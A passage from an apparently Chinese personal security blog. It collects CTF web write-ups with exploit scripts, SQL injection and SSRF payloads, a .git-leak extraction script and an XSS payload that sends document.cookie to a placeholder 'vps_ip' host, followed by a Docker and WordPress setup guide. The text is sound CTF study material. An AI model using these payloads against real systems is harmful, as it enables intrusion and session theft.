Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

DDCTF WEB部分wp

前言

很久没打比赛了,上次被学长带着打了西湖论剑,发现他们的技术是真的牛逼,随随便便躺着就进了前30,不禁感慨实力差距太大了,为此呢,用DDCTF来练练手,借此记录一下DDCTF的一些做题思路以及所学的骚套路。

滴~

打开题目,首先发现url中的jpg的值有问题,经过两次base64以及一次base16解出就是flag.jpg。
那既然是这样,我们是不是可以尝试读index.php呢?编码之后输入到jpg参数后面读取index.php。

果然,解码之后得到index.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

提示了csdn的某篇文章,里面得到了一个文件—practice.txt.swp,读取之后发现提示了f1ag!ddctf.php,结合index.php我们可以通过config被!替换来绕过过滤,去读取该文件,文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

extract函数可导致变量覆盖,我们只要通过覆盖$k,让file_get_contents()读取不到东西返回flase,再传入uid为空,导致弱类型比较就能读取flag了,payload如下

1
http://117.51.150.246/f1ag!ddctf.php?uid=&k=xsadasdad

WEB 签到题

首先打开界面,审计源码可以发现/js/index.js这个关键文件,访问。

可以看到我们需要爆破header中的didictf_username的值,通过爆破发现为admin。接着有个提示,提示我们访问/app/fL2XID2i0Cdh.php,这个页面给了两个文件的源码,我们可以进行审计。这里就按照解题思路讲解了。
首先我们可以得知../config/flag.txt中有flag。

接着可以看到我们可以通过反序列化漏洞来读取文件。

接着找找哪里有unserialize()函数可以利用。

可以看到我们通过传入session是可以进行反序列化漏洞利用的。但是有以下两个问题。
第一,我们需要绕过 $hash !== md5($this->eancrykey.$session 的验证,那也就是说我们需要得知 $this->eancrykey 的值。
这里利用到了格式化字符串的漏洞,利用的代码如下:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

foreach循环两次,把数组中的值传入到前面的$data中,试想如果我们构造$nickname为%s,那第一次的$data是不是就变成了 Welcome my friend %s ,那第二次循环的时候,$this->eancrykey的值就传入到了$data里面,成功读取到了$this->eancrykey。

第二个问题就是$path存在过滤,过滤代码如下

1
2
3
4
5
6
 private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

../可以通过….//来绕过。修改Application中的$path为….//config/flag.txt,按照如下生成payload。

1
2
3
4
5
6
$a = new Application();
$b = serialize($a);
$eancrykey = "EzblrbNS";
$hash = md5($eancrykey.$b);
$session = $b.$hash;
var_dump($session)."<br>";

通过cookie发送构造的payload,得到flag。

Upload-IMG

上传图片的时候,要求上传png/jpg/gif格式。以及源代码中需要有phpinfo()字符串。
通过上传一张普通图片,再下载下来可以发现一个特点。

可以得知这是需要我们绕过gd库渲染。查询资料得知有如下几种方法

1
2
比对上传前后两次的二进制文件,找到相同的地方进行替换。
使用jpg_payload.php

上传图片,把经过渲染的图片下载下来,通过比对hex找到相同点。

接着将phpinfo()替换进去

接着就能拿到flag了。

homebrew event loop

这道题目思路挺好,而且借着这道题目学了一些flask的语法,对flask有了一定了解。
题目给了源码,需要的可以下载。serve.py
我会按照正常审计代码的思路进行一步一步讲解。毕竟我也是刚刚学的。
首先是关于入口的寻找。

1
2
在flask中,运行app.run()表示监听指定的端口, 对收到的request运行app生成response并返回。
运行之后哪个函数被最先调用呢?这里我理解的是@app.route()函数之后的那一个函数。app.route()函数指定初始访问的路径,并且把得到的数据进行返回,之后的第一个函数就默认为初始函数。注意,每次进行对页面进行访问,都会调用初始函数。

找到了第一个函数,那我们开始审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def entry_point():
querystring = urllib.unquote(request.query_string)
这一步是获取url中参数,request.query_string获取的是url中?之后所有的字符串。

request.event_queue = []
定义一个空数组,该数组中储存即将被执行的操作。

if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
如果url中?之后没有任何参数,或者刚刚获取的字符串不是以action开头,或者长度大于100,那么初始化querystring为action:index;False#False

if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
如果num_items不在session中,那初始化session,session字典中的num_items代表钻石的数量,points代表的是金币数量,而log目前则用不到。

trigger_event(querystring)
return execute_event_loop()

可以看到函数最后调用了其他两个函数,先跟第一个。

1
2
3
4
5
6
7
8
9
10
11
12
def trigger_event(event):
session['log'].append(event)
把刚刚传入的字符串添加到log中。注意此刻的log应该为list形式。

if len(session['log']) > 5: session['log'] = session['log'][-5:]
如果log列表中元素大于5个,那么只取最后5个。

if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
根据event的不同类型,将event添加进定义的event_queue

接着再跟第二个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
定义event的字符白名单

resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0]
提取event_queue第一个操作命令,赋给event

request.event_queue = request.event_queue[1:]
其他命令依此前进一位

if not event.startswith(('action:', 'func:')): continue
如果event不是以action或者func开头,则提取下一位的命令操作

for c in event:
if c not in valid_event_chars: break
如果event中存在字符白名单以外的字符,则直接退出

else:
is_action = event[0] == 'a'
判断event的第一个字符是否为a,并且将值储存到is_action中

action = get_mid_str(event, ':', ';')
截取event中:到;的部分字符,赋值给action

args = get_mid_str(event, action+';').split('#')
截取event中action;之后的字符并且以#进行分割,赋给args

try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
把action的值与_handler或者_function进行拼接

ret_val = event_handler(args)
调用刚刚拼接的函数,对args进行处理

except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
抛出错误时执行的操作

except Exception, e:
if resp is None: resp = ''
continue
没什么意义

if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
如果刚刚调用的函数有回显结果,那么把结果赋给resp

if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
如果无回显,页面则会显示404

session.modified = True
return resp
将最后执行的结果返回

整个网页的基本构造了解了,一些初始化定义的函数也详细分析了,现在开始粗略的流程分析,可以看到,当我们第一次访问页面的时候,querystring会被赋值为action:index;False#False,也就是说一开始会调用index_handler([False,False]),我们跟着看看这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

这个函数主要是定义初始界面,当bool_show_source为true时,代码会打开eventLoop.py,如果bool_download_source为true会将文件进行下载,而为false的话,则是会把代码回显到页面。

很明显我们第一次访问,调用的是index_handler([False,False]),所以直接跳到调用view_handler(index),我们接着跟上去看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
一开始就是通过读取session中的参数值,并且回显到页面上,接着如果args为index,则给出三个功能的链接跳转按钮,如果是shop则调用buy_handler函数,如果是reset,则对session重置,接着在最后加上返回最初界面的功能键。

这就是初始界面的由来,其他的功能我们也不完全去分析了,现在我们该对如何拿flag进行一个分析。
在源码的最开头有这样一个函数

1
2
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

经过我们对前面的分析可以知道,在通过execute_event_loop()函数调用其他函数的时候,其他函数的末尾要么是_handler要么是_function,调用FLAG()函数是不可能的,我们找找有没有其他可以得到flag的方法。
接着发现了这样一个函数

1
2
3
4
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

可以发现我们的确可以调用这个函数,也可以利用漏洞把flag值赋值到flag变量中,但是它固定回显,并不会把flag变量给输出,所以还得继续找其他的函数。

1
2
3
4
5
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
当我们钻石的数量大于等于5个的时候,会调用show_flag_function()函数获取通过调用FLAG()函数返回的flag值。

具体解释一下为什么这里调用了FLAG(),由于eval的缘故,虽然FLAG()被当作get_flag_function()函数的参数,但还是会先执行,返回的值再给get_flag_function()函数作为参数的值。
可以在前面trigger_event函数的定义中得知,一旦函数被执行,是会将调用结果储存到session的log中的。也就是说我们只需要满足五个钻石的条件,就可以在log中得到flag。那我们重点跟一下购买的函数。

1
2
3
4
5
6
7
8
9
10
11
12
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
购买的数量小于0会返回错误提示,先加上购买的数量,再执行consume_point_function()函数

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
该函数则是确认是否有足够的金额来购买钻石,如果不够抛出错误异常,够的话将point减去购买钻石的数量。

可以看到这是典型的先货后款的操作,如果我们在购买完5个钻石之后,在触发报错之前立马调用get_flag_handler()不就可以拿到flag了吗?那如何利用呢?
整个函数调用流程是先通过trigger_event将即将执行的函数添加到待调用函数序列中,也就是说我们先传参传入的早,函数就执行的早。
我们可以回过头看看execute_event_loop()函数中对参数的处理

1
2
3
4
5
6
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

也就是说参数是以#进行分割的,而存在的eval()函数又可以帮助我们利用#注释掉后面的东西,所以这里就达到了调用函数可控的条件,我们可以测试一下。

可以看到成功利用了,那接着我们是不是可以通过调用trigger_event()函数,先把buy和get_flag传入进去呢?即使buy函数之后的验证函数也得在get_flag之后才能执行了,构造payload:

1
?action:trigger_event%23;action:buy;10%23action:get_flag;

查看cookie中的session,进行解码就能拿到flag了。

大吉大利,今晚吃鸡~

有注册先注册,登入发现需要购买门票。我们余额只有100元,但是一张票却要2000。这里可以想到整数溢出漏洞。
首先抓包修改门票价格。通过测试发现这是32位的服务器,也就是说4294967296溢出变为0。

可以看到有订单显示了,我们试着支付看看。

可以看到我们支付成功,并且跳转到了游戏界面。界面中有一个移除对手的功能,点开发现需要得知id以及ticket。
说实话我在这里卡住了,尝试了修改json中的数据,但是最后还是自欺欺人,正确的思路应该是不断注册小号,获取id和ticket来进行移除,脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import random
import time

tmpID = "1"

tmpSession = requests.session()

registerURL = "http://117.51.147.155:5050/ctf/api/register?name=Iuhrey{name}&password=12345678aa90"
buyTicketURL = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296"
payTicketURL = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={bill}"
removeRobotsURL = "http://117.51.147.155:5050/ctf/api/remove_robot?id={uid}&ticket={ticket}"

headers = {
"Cookie": "REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3"
}

def getTicket(tmpID):
tmpRegisterURL = registerURL.replace("{name}",tmpID)
tmpSession.get(tmpRegisterURL)

billID = tmpSession.get(buyTicketURL).json()["data"][0]["bill_id"]

# print(billID)

tmpPayTicketURL = payTicketURL.replace("{bill}",billID)
# print(tmpPayTicketURL)
ticketJson = tmpSession.get(tmpPayTicketURL).json()
# print(ticketJson)
ticket,uid = ticketJson["data"][0].values()

return ticket,uid

if __name__ == '__main__':
i = 1
c = 0
while(i<3 and c < 50):
name = str(random.randint(1000, 90000))
c+=1
try:
ticket,uid = getTicket(name)
# print(ticket,uid)

tmpRRURL = removeRobotsURL.replace("{uid}",str(uid)).replace("{ticket}",ticket)
RRjson = requests.get(tmpRRURL,headers=headers).json()

if(RRjson["data"]):
print("["+str(i)+"] " + str(RRjson["data"]))
print("")
i+=1
time.sleep(1)

except:
pass

记录搭建docker时踩的一些列坑

前言

由于近期要利用docker搭建环境复现一些漏洞,因此就学习了一波docker,没想到遇上了一堆坑,所以利用这篇文章来记录下坑如何解决的。

环境选择

我首推的还是在ubuntu下进行docker的安装,强烈不建议在centos的环境下,为什么要在ubuntu下呢,主要是因为centos太烂了,如果要在centos下安装ubuntu,首先得要求内核要大于3.10.0,查看内核命令如下:

1
uname -r

最低要求的3.10.0由于内核版本太低,例如overlay2这种功能就无法实现,这样会导致在后续安装中出现一系列的问题,解决一个又出另外一个。我就是迫于无奈才抛弃了centos,转而利用ubuntu安装了docker。这里ubuntu选用的是最新的18.04版本。

安装docker

首先得确保apt是最新版本,如果不是使用如下命令进行更新:

1
sudo apt-get update

接着如果有旧版本的docker,使用以下命令移除:

1
sudo apt-get remove docker docker-engine docker.io

添加使用 HTTPS 传输的软件包以及 CA 证书

1
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common

添加Docker的GPG密钥,由于官方的被墙了,只能使用国内源的。

1
curl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

然后,我们需要向 source.list 中添加 Docker 软件源

1
sudo add-apt-repository "deb [arch=amd64] 	https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable"

最后,我们安装docker

1
2
sudo apt-get update 
sudo apt-get install docker-ce

启动docker

1
2
sudo systemctl enable docker
sudo systemctl start docker

运行docker试试,如果出现以下内容,则说明成功安装了docker

利用docker搭建环境

首先是获取镜像,这里获取的是原生的ubuntu

1
docker pull ubuntu:18.04

查看镜像

1
docker images

运行

1
docker run -it -d --name 容器名称 -p 8000:80 /bin/bash ubuntu:18.04

简要说明一下参数的作用,-it实际是两个参数-t和-i的合成,-i是指交互式操作,-t则是终端的意思,-d则是让容器在后台挂起,并且可以看到返回的id,–name则是新建容器的名称,-p表示docker的80端口映射到虚拟机的8000端口,/bin/bash则是表示调用的命令,最后是你镜像的名字。
这里简要说明一下,镜像类似c++中的类,而容器则是类的实体化,你只能对容器进行操作,而不能直接对镜像进行操作,每次启用docker run这个命令时,都会产生一个新的容器。可以用如下命令看到所有的容器:

1
docker container ls -a

这个可以看到运行的容器:

1
docker ps

查看了容器的id,可以通过以下命令进入容器

1
docker exec -it 容器id前三到四位 /bin/bash

接着就能在docker里面配置你想要的环境了

安装wordpress

首先更新apt包

1
apt-get update

在配置lamp环境前,说一下对服务操作的命令

1
2
3
4
5
6
7
service xxxx restart 重启

service xxxx status 状态

service xxxx start 启动

service xxxx stop 关闭

接着安装apache2

1
apt-get install apache2

接着是mysql

1
apt-get install mysql-server mysql-client

中途会让你设置密码,输入两次密码回车即可

接着是安装php以及php的一些服务插件

1
2
3
4
5
apt-get install php7.0

apt-get install libapache2-mod-php7.0

apt-get install php7.0-mysql

重启apache2和mysql

1
2
3
service apache2 restart

service mysql restart

此时在/var/www/html下创建一个php文件,若php文件被解析那就说php安装成功

安装phpmyadmin

1
apt-get install phpmyadmin

安装时:空格选择apache2,enter确定,下一步配置数据库,输入密码。

1
ln -s /usr/share/phpmyadmin /var/www/html

启用Apache mod_rewrite模块

1
a2enmod rewrite

重启服务

1
service php7.0-fpm restart

配置vim /etc/apache2/apache2.conf
在最底下加入如下代码

1
2
3
AddType application/x-httpd-php .php .htm .html 

AddDefaultCharset UTF-8

重启apache服务

1
service apache2 restart

建立数据库为wordpress

1
2
3
4
5
6
7
8
9
10
11
12
# 登录数据库
mysql -u root -p
# 创建数据库
CREATE DATABASE wordpress;
# 创建数据库用户和密码
CREATE USER wordpressuser@localhost IDENTIFIED BY '123456';
# 设置wordpressuser访问wordpress数据库权限
GRANT ALL PRIVILEGES ON wordpress.* TO user@localhost IDENTIFIED BY 'pass';//user为你所设置的user,pass为你所设置的密码
# 刷新数据库设置
FLUSH PRIVILEGES;
# 退出数据库
exit

下载wordpress

1
wget https://cn.wordpress.org/wordpress-4.8.1-zh_CN.tar.gz

解压

1
tar -xzvf latest.tar.gz

远程批量传输

1
rsync -avP /wordpress/ /var/www/html/wordpress

切换到wordpress目录,复制wp-config.php

1
2
cd /var/www/html/wordpress
cp wp-config-sample.php wp-config.php

编辑wp-config.php文件

1
vim wp-config.php

把刚刚我们设置的user和pass填入,修改之后为

接着访问
http://ip/wordpress/wp-admin/install.php
按照提示来就行了

遇到的某些问题

如果是在centos环境下,遇到的各种问题,建议之间换成ubuntu。

特别注意,ubuntu版本号一定要对上,ubuntu:16.04不出问题,但是ubuntu:18.04一堆问题。在安装前一定要确认自己的版本号

在建立新容器时碰到如下错误

1
2
Error response from daemon: Conflict. The container name "/test1" is already in use by container "d197fb61f61c1d1d7b605a49d3be658f9fa10f581bd02ff9574f8a39a62a716e". You have to remove (or rename) that container to be able to reuse that name.
See 'docker run --help'.

这是因为该名称的容器已存在,查看所有的容器把该名字容器删除即可,删除命令

1
docker rm test1

如果是运行的容器,rm后面加个-f参数

进入docker安装apache时遇到的问题

1
E: Unable to locate package apache2

需要更新apt,命令如下:

1
apt-get update

重启失败的时候查看下服务状态,未启动时无法重启

碰到 ‘xxx’ command not find

缺什么安装什么

1
apt-get install xxx

参考链接

Linux新手入门:Unable to locate package错误解决办法
Docker 从入门到实践
ubuntu16.04安装wordpress

近期比赛题目复现

前言

整个寒假都在学习挖洞相关的知识,ctf方面的投入比之前少了许多,近期比赛优秀的题目也比较多,所以写了这篇复现来记录一些新知识

php trick

得到flag需要满足多个条件,前面多个条件都是ctf常见的,这里就不多叙述了,这题最主要的一个绕过点如下:


先审计代码,第九步要求parse_url()解析url的域名要为百度的域名,第十步则是限制了协议要为http,所有限制过后,网站会对我们输入的url进行访问,后面明显看出可以利用ssrf读取admin.php,所以现在的矛盾在于如何使得curl解析的域名是本地的域名同时绕过第九步的限制。
这里就需要理解curl和parse_url对url域名解析的差异性了。在如下这个url中:

1
http://test@1.com@2.com

curl解析的域名为1.com,而parse_url却是解析为2.com,还有类似的函数也是这样解析,如图:

构造如上payload就能绕过了。

HappyXss

这题目比较上一题,把script,href,onerror等等关键字都过滤了,而且无法加载远程src资源。
这里学到了一种新的思路,在前端中eval()函数并没有被过滤,因此我们可以利用它把我们传入的代码转换成xss的payload。

1
2
eval(atob(base64后的代码));   //eval(atob("YWxlcnQoMSk="));
eval(String.fromCharCode(ascii码)); //eval(String.fromCharCode(97,108,101,114,116,40,49,41));

我们只需要让它带上cookie访问我们的服务器即可,因此payload如下:

1
window.location.href="http://vps_ip/"+document.cookie

注意的是””被过滤了,可以选择使用’’,最终payload如下,监听端口查看cookie就行了

1
<input onfocus=javascript:eval(atob('d2luZG93LmxvY2F0aW9uLmhyZWY9Imh0dHA6Ly92cHNfaXAvIitkb2N1bWVudC5jb29raWU=')); autofocus>

HappyPHP

这题目主要考察代码审计,登入界面有个提示可以拿到源码。
题目框架为laravel,根据大师傅的wp,学到了分析源码的基本步骤。
首先从路由开始,也就是/routes/web.app,可以分析出该网站有多少个页面,分别是什么功能。
接着从第一条开始,逐条追踪,查看详细代码的构成,一步一步审计直到找到可利用点。必要时可以使用全局搜索找我们所要的关键信息。
分析如何利用,构造payload,达到所要的目的。
在SessionsController.php发现可利用的点:

这里代码可以进行注入,并且它会把结果返回给我们。联想到题目提示,flag在admin下,我们可以想到利用注入把email和password给注入出来。可以在/database/factories/UserFactory.php看到列的参数。

1
2
email:admin@hgame.com
password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

对password进行base64解码得到:

1
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

继续通过全局搜索key,cipher来找到加密方式,发现在app.php中:

全局搜索APP_KEY并没有搜索到,发现.env文件并不存在,所以回溯到github项目上找到被删除的.env文件:

找到了我们所要的APP_KEY:

1
$key="9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=";

结合上面的iv值和value值就可以解密被加密前的密码,登入即可拿到flag。

NCTF Web wp

前言

近期刚刚打完NCTF,成绩还算理想,虽然我们打了校内第二,总榜第七,但是赛后发现了很多问题,借此复盘一下这次的比赛。(Web题12道只做出了七道题目,赛后做了一道,实力还是欠缺一点)

签到题

抓包,得到flag.

滴!晨跑打卡

很明显这是一道注入题,抓包爆破测试一下过滤的字符发现空格,–,#,*等被过滤了,使用连接词测试一下语句构成:

1
1'or'1'='1

发现正常回显,可以判断大概是’ $_POST[\’XXX\’] ‘这种类型,空格可以使用%0b绕过,注释被过滤我们只要拼接语句让其正常查询不报错就行了,所以大致可以构造payload:

1
1'union%0bselect%0b1,2,3%0b'

可以看到回显位:

接着按照套路查询就行了,最后一步注意要标记是哪个数据库:

得到flag.

Go Lakers

这题一开始套路和签到题一样,得抓包,拉到最下面发现这样一句话:

按照要求post viewsource=1得到源码:

这里我当时做的时候掉进陷阱了,我以为要绕过所有的条件才能利用file_get_contents()得到源码,这里只用传入加密后的file_参数就能输出源码了,这里分享绕过的方式吧。

1
2
3
4
5
6

if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){
header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp');
}else{
echo 'great';
}

第一个条件可以使用XFF: 127.0.0.1来绕过,但是会有个提示:

使用Client-IP就行了,第二个使用php://input协议传入字符就行,第三个我们可以使用多线程爆破,毕竟只有10000个数据。接下来就是加密函数了,按照解密函数写就行了:

1
2
3
4
5
6
7
function en_code($value){
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])+$i*2);
}
return base64_encode($result)
}

直接读flag.php就能得到flag.

全球最大交友网站

题目就给了一个很直接的提示,猜测应该是.git泄露,测试果然发现没错:

使用Githack脚本跑一下只能跑出一个README.md,打开发现了这样一句话:

1
Allsource files are in git tag1.0

emmm,这就能联想这一篇文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html
题目思路也很简单,就是让我们提取出源码就能得到flag了,具体原理可以看上面离别歌大师傅这篇文章,这里不讲太详细。
首先我们访问commit的一个“链接”:

1
http://ctfgame.acdxvfsvd.net:20003/.git/refs/tags/1.0

得到一串字符串,按照.git文件生成原理,我们访问:

1
http://ctfgame.acdxvfsvd.net:20003/.git/objects/01/b878ee5f39810a02f06b4a560571413020ea42

得到一个文件,通过对这个文件进行zlib解压发现了这个文件指向了两个文件:

emmm,这里说下原理,我们就根据这两个字符串,按照刚刚的方法得到下一个文件,zlib解压,对文件的头进行判断,重复过程最终得到最初的文件,最后下载的文件我们没办法zlib解压,可以通过git cat-file xxxxx得到最终文件。这里贴个离别歌改过的脚本,我写了个注释有利于标识该改哪里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
import sys
import requests
import os
import zlib
import re
import Queue
import binascii

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)"
" Gecko/20100101 Firefox/46.0"
}#改头
target = "http://ctfgame.acdxvfsvd.net:20003/.git/" #地址
output_folder = "./n1ctf/" #储存文件的目录

class GitDdatabase(object):
def __init__(self, data):
self.data = data
self.pos = 0

def read_to_next_char(self, char=" "):
pos = self.data.index(char, self.pos)
ret = self.read_exact(pos)
self.pos += 1
return ret

def read_exact(self, size):
ret = self.data[self.pos:size]
self.pos = size
return ret

def read_blob(self):
return re.sub('^blob \d+?\00', '', self.data)

def read_tree(self):
mode = self.read_to_next_char(" ")
filename = self.read_to_next_char("\x00")
sha1 = self.read_exact(self.pos + 20)
return mode, filename, sha1

def get_db_type(self):
file_sort = self.read_to_next_char(" ")
file_size = self.read_to_next_char("\x00")
file_size = int(file_size)
return file_sort, file_size

def request_object(id):
global target
folder = 'objects/%s/' % id[:2]
response = requests.get(target + folder + id[2:])
if response.status_code == 200:
return zlib.decompress(response.content)
else:
return False

if __name__ == "__main__":
response = requests.get(target + "refs/tags/1.0", headers=headers)
if response.status_code == 404:
print("No this tag")
sys.exit(0)
data = response.content
commit_id = data.strip()

next_id = commit_id ##可以更改要找的目录的值,即可查找出其目录下的源码
print next_id
data = request_object(next_id)
if not data:
print("No this commit id")
sys.exit(0)

rex = re.search(ur"commit .*?([a-f0-9]{40})", data)
next_id = rex.group(1)
data = request_object(next_id)
if not data:
print("No this commit id")
sys.exit(0)

tasks = Queue.Queue()
gd = GitDdatabase(data)
file_sort, file_size = gd.get_db_type()
while 1:
try:
(mode, filename, sha1) = gd.read_tree()
basedir = "./"
tasks.put((mode, filename, sha1, basedir))
except ValueError as e:
break

while 1:
if tasks.empty():
break
(mode, filename, sha1, basedir) = tasks.get()
sha1 = binascii.b2a_hex(sha1)
data = request_object(sha1)
if not data:
continue

gd = GitDdatabase(data)
file_sort, file_size = gd.get_db_type()
if file_sort == "tree":
basedir = os.path.join(basedir, filename)
while 1:
try:
(mode, filename, sha1) = gd.read_tree()
tasks.put((mode, filename, sha1, basedir))
except ValueError as e:
break
elif file_sort == "blob":
data = gd.read_blob()
folder = os.path.join(output_folder, basedir)
if not os.path.exists(folder):
os.makedirs(folder)
filename = os.path.join(folder, filename)
with open(filename, "wb") as f:
f.write(data)
print("[+] Write {filename} success".format(filename=filename))

最后可以得到两个flag,一真一假自己尝试。

小绿草之最强大脑

这个单纯就是考脚本能力了,题目有个提示:告诉我们有源码泄露,访问index.php.bak得到源码:

里面关键点就在于intval()这个函数,这个函数在处理太过于大的数字的时候会出现漏洞,虽然说可以防止整数溢出漏洞,但是通过这样计算出的值就会出现bug。
通过本地测试,测试出在数字足够大时,intval()一直为2147483647,如图:

但是在服务器上测试值却为9223372036854775807:

最后测试也是9223372036854775807没错,所以脚本如下(记得使用session,以及time.sleep函数):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding=utf-8
import requests
import time
def cal(str): #传入抓取的源码
pstr = '<div style="display:inline;">'
jstr = ' </div><div style="display:inline;">'
num = len(jstr)
index = str.index(pstr) + len(pstr)
calstr = ""
for i in range(0, 71):
calnum = index + i * num
calstr = calstr + str[calnum]
if "=" in calstr:
